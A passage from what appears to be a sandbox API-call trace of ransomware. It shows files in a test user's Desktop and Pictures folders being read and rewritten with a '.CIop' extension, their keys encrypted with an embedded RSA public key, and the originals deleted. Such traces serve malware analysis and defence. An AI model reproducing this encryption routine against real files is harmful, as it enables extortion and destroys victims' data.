pdwDataLen=0x347e5ec*=0x94) returned 1 [0098.227] CryptExportKey (in: hKey=0x648fb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x347e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0098.227] CryptDestroyKey (hKey=0x648fb8) returned 1 [0098.227] CryptReleaseContext (hProv=0x6553d8, dwFlags=0x0) returned 1 [0098.228] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\2SXCpVLNs73BQPAtgxC.png.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\2sxcpvlns73bqpatgxc.png.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x544 [0098.228] WriteFile (in: hFile=0x544, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0x13aa2, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x347e5d8*=0x13aa2, lpOverlapped=0x0) returned 1 [0098.230] SetFilePointer (in: hFile=0x544, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13aa2 [0098.230] WriteFile (in: hFile=0x544, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.230] SetFilePointer (in: hFile=0x544, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13aa9 [0098.230] SetErrorMode (uMode=0x1) returned 0x1 [0098.230] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.230] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.230] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0098.230] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x6553d8) returned 1 [0098.230] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6553d8, dwCertEncodingType=0x1, pInfo=0x5c2890, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x649338) returned 1 [0098.230] CryptEncrypt (in: hKey=0x649338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0098.230] CryptEncrypt (in: hKey=0x649338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x656560*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x656560*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0098.231] WriteFile (in: hFile=0x544, lpBuffer=0x656560*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656560*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.231] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.232] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.232] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.232] CloseHandle (hObject=0x544) returned 1 [0098.234] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\2SXCpVLNs73BQPAtgxC.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\2sxcpvlns73bqpatgxc.png")) returned 0 Thread: id = 140 os_tid = 0xd2c [0098.187] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.187] lstrcpyW (in: lpString1=0x312f368, lpString2="Z-AP6tzBW HexwllgoRb.jpg" | out: lpString1="Z-AP6tzBW HexwllgoRb.jpg") returned="Z-AP6tzBW HexwllgoRb.jpg" [0098.187] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0098.187] SetErrorMode (uMode=0x1) returned 0x1 [0098.187] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\Z-AP6tzBW HexwllgoRb.jpg") returned 95 [0098.187] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\Z-AP6tzBW HexwllgoRb.jpg", dwFileAttributes=0x20) returned 1 [0098.187] StrStrW (lpFirst="Z-AP6tzBW HexwllgoRb.jpg", lpSrch=".CIop") returned 0x0 [0098.187] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\Z-AP6tzBW HexwllgoRb.jpg.CIop") returned 100 [0098.187] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\Z-AP6tzBW HexwllgoRb.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\z-ap6tzbw hexwllgorb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x544 [0098.188] ReadFile (in: hFile=0x544, lpBuffer=0x2ef0048, nNumberOfBytesToRead=0x14dcd, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesRead=0x312e5e8*=0x14dcd, lpOverlapped=0x0) returned 1 [0098.189] CloseHandle (hObject=0x544) returned 1 [0098.190] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\Z-AP6tzBW HexwllgoRb.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\z-ap6tzbw hexwllgorb.jpg")) returned 1 [0098.284] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0098.285] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0098.285] SetErrorMode (uMode=0x1) returned 0x1 [0098.285] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x6563c8) returned 1 [0098.287] CryptGenKey (in: hProv=0x6563c8, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x6490b8) returned 1 [0098.336] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0098.336] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0098.336] CryptDestroyKey (hKey=0x6490b8) returned 1 [0098.336] CryptReleaseContext (hProv=0x6563c8, dwFlags=0x0) returned 1 [0098.337] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\Z-AP6tzBW HexwllgoRb.jpg.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\z-ap6tzbw hexwllgorb.jpg.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x550 [0098.337] WriteFile (in: hFile=0x550, lpBuffer=0x2ef0048*, nNumberOfBytesToWrite=0x14dcd, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesWritten=0x312e5d8*=0x14dcd, lpOverlapped=0x0) returned 1 [0098.338] SetFilePointer (in: hFile=0x550, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14dcd [0098.338] WriteFile (in: hFile=0x550, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.338] SetFilePointer (in: hFile=0x550, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14dd4 [0098.339] SetErrorMode (uMode=0x1) returned 0x1 [0098.339] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.339] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.339] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0098.339] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x655f88) returned 1 [0098.339] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655f88, dwCertEncodingType=0x1, pInfo=0x5c2550, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x649578) returned 1 [0098.339] CryptEncrypt (in: hKey=0x649578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0098.339] CryptEncrypt (in: hKey=0x649578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x655a38*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x655a38*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0098.339] WriteFile (in: hFile=0x550, lpBuffer=0x655a38*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x655a38*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.339] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.340] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.340] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.340] CloseHandle (hObject=0x550) returned 1 [0098.343] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\Z-AP6tzBW HexwllgoRb.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\z-ap6tzbw hexwllgorb.jpg")) returned 0 Thread: id = 141 os_tid = 0xc50 [0098.373] lstrcpyA (in: lpString1=0x30ee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.373] lstrcpyW (in: lpString1=0x30ef368, lpString2="jf2gmUDSNpxqc ZNVVv.jpg" | out: lpString1="jf2gmUDSNpxqc ZNVVv.jpg") returned="jf2gmUDSNpxqc ZNVVv.jpg" [0098.373] lstrcpyW (in: lpString1=0x30ef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0098.373] SetErrorMode (uMode=0x1) returned 0x1 [0098.373] wsprintfW (in: param_1=0x30eeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\jf2gmUDSNpxqc ZNVVv.jpg") returned 106 [0098.373] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\jf2gmUDSNpxqc ZNVVv.jpg", dwFileAttributes=0x20) returned 1 [0098.374] StrStrW (lpFirst="jf2gmUDSNpxqc ZNVVv.jpg", lpSrch=".CIop") returned 0x0 [0098.374] wsprintfW (in: param_1=0x30ee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\jf2gmUDSNpxqc ZNVVv.jpg.CIop") returned 111 [0098.374] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\jf2gmUDSNpxqc ZNVVv.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\jf2gmudsnpxqc znvvv.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0098.375] ReadFile (in: hFile=0x53c, lpBuffer=0x656668, nNumberOfBytesToRead=0x162aa, lpNumberOfBytesRead=0x30ee5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x30ee5e8*=0x162aa, lpOverlapped=0x0) returned 1 [0098.375] CloseHandle (hObject=0x53c) returned 1 [0098.375] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\jf2gmUDSNpxqc ZNVVv.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\jf2gmudsnpxqc znvvv.jpg")) returned 1 [0098.512] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3230000 [0098.513] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3240000 [0098.513] SetErrorMode (uMode=0x1) returned 0x1 [0098.513] CryptAcquireContextW (in: phProv=0x30ee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x30ee5b8*=0x656098) returned 1 [0098.515] CryptGenKey (in: hProv=0x656098, Algid=0x1, dwFlags=0x4000, phKey=0x30ee5bc | out: phKey=0x30ee5bc*=0x6490b8) returned 1 [0098.539] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x30ee5ec | out: pbData=0x0*, pdwDataLen=0x30ee5ec*=0x94) returned 1 [0098.539] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3240000, pdwDataLen=0x30ee5ec | out: pbData=0x3240000*, pdwDataLen=0x30ee5ec*=0x94) returned 1 [0098.539] CryptDestroyKey (hKey=0x6490b8) returned 1 [0098.539] CryptReleaseContext (hProv=0x656098, dwFlags=0x0) returned 1 [0098.539] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\jf2gmUDSNpxqc ZNVVv.jpg.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\jf2gmudsnpxqc znvvv.jpg.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x250 [0098.540] WriteFile (in: hFile=0x250, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x162aa, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x30ee5d8*=0x162aa, lpOverlapped=0x0) returned 1 [0098.541] SetFilePointer (in: hFile=0x250, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x162aa [0098.541] WriteFile (in: hFile=0x250, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x30ee5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.541] SetFilePointer (in: hFile=0x250, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x162b1 [0098.541] SetErrorMode (uMode=0x1) returned 0x1 [0098.541] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.541] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x30ed5b8, pcbBinary=0x30ed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x30ed5b8, pcbBinary=0x30ed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.541] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x30ed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x30ed5a0, pcbStructInfo=0x30ed598 | out: pvStructInfo=0x30ed5a0, pcbStructInfo=0x30ed598) returned 1 [0098.541] CryptAcquireContextW (in: phProv=0x30ed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x30ed5a8*=0x6558a0) returned 1 [0098.542] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6558a0, dwCertEncodingType=0x1, pInfo=0x5c2620, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x30ed5b0 | out: phKey=0x30ed5b0*=0x649178) returned 1 [0098.542] CryptEncrypt (in: hKey=0x649178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x30ed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x30ed5b4*=0x80) returned 1 [0098.542] CryptEncrypt (in: hKey=0x649178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x655790*, pdwDataLen=0x30ed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x655790*, pdwDataLen=0x30ed5a4*=0x80) returned 1 [0098.542] WriteFile (in: hFile=0x250, lpBuffer=0x655790*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x655790*, lpNumberOfBytesWritten=0x30ee5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.542] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.543] VirtualFree (lpAddress=0x3230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.543] VirtualFree (lpAddress=0x3240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.543] CloseHandle (hObject=0x250) returned 1 [0098.546] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\jf2gmUDSNpxqc ZNVVv.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\jf2gmudsnpxqc znvvv.jpg")) returned 0 Thread: id = 142 os_tid = 0xc54 [0098.376] lstrcpyA (in: lpString1=0x322e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 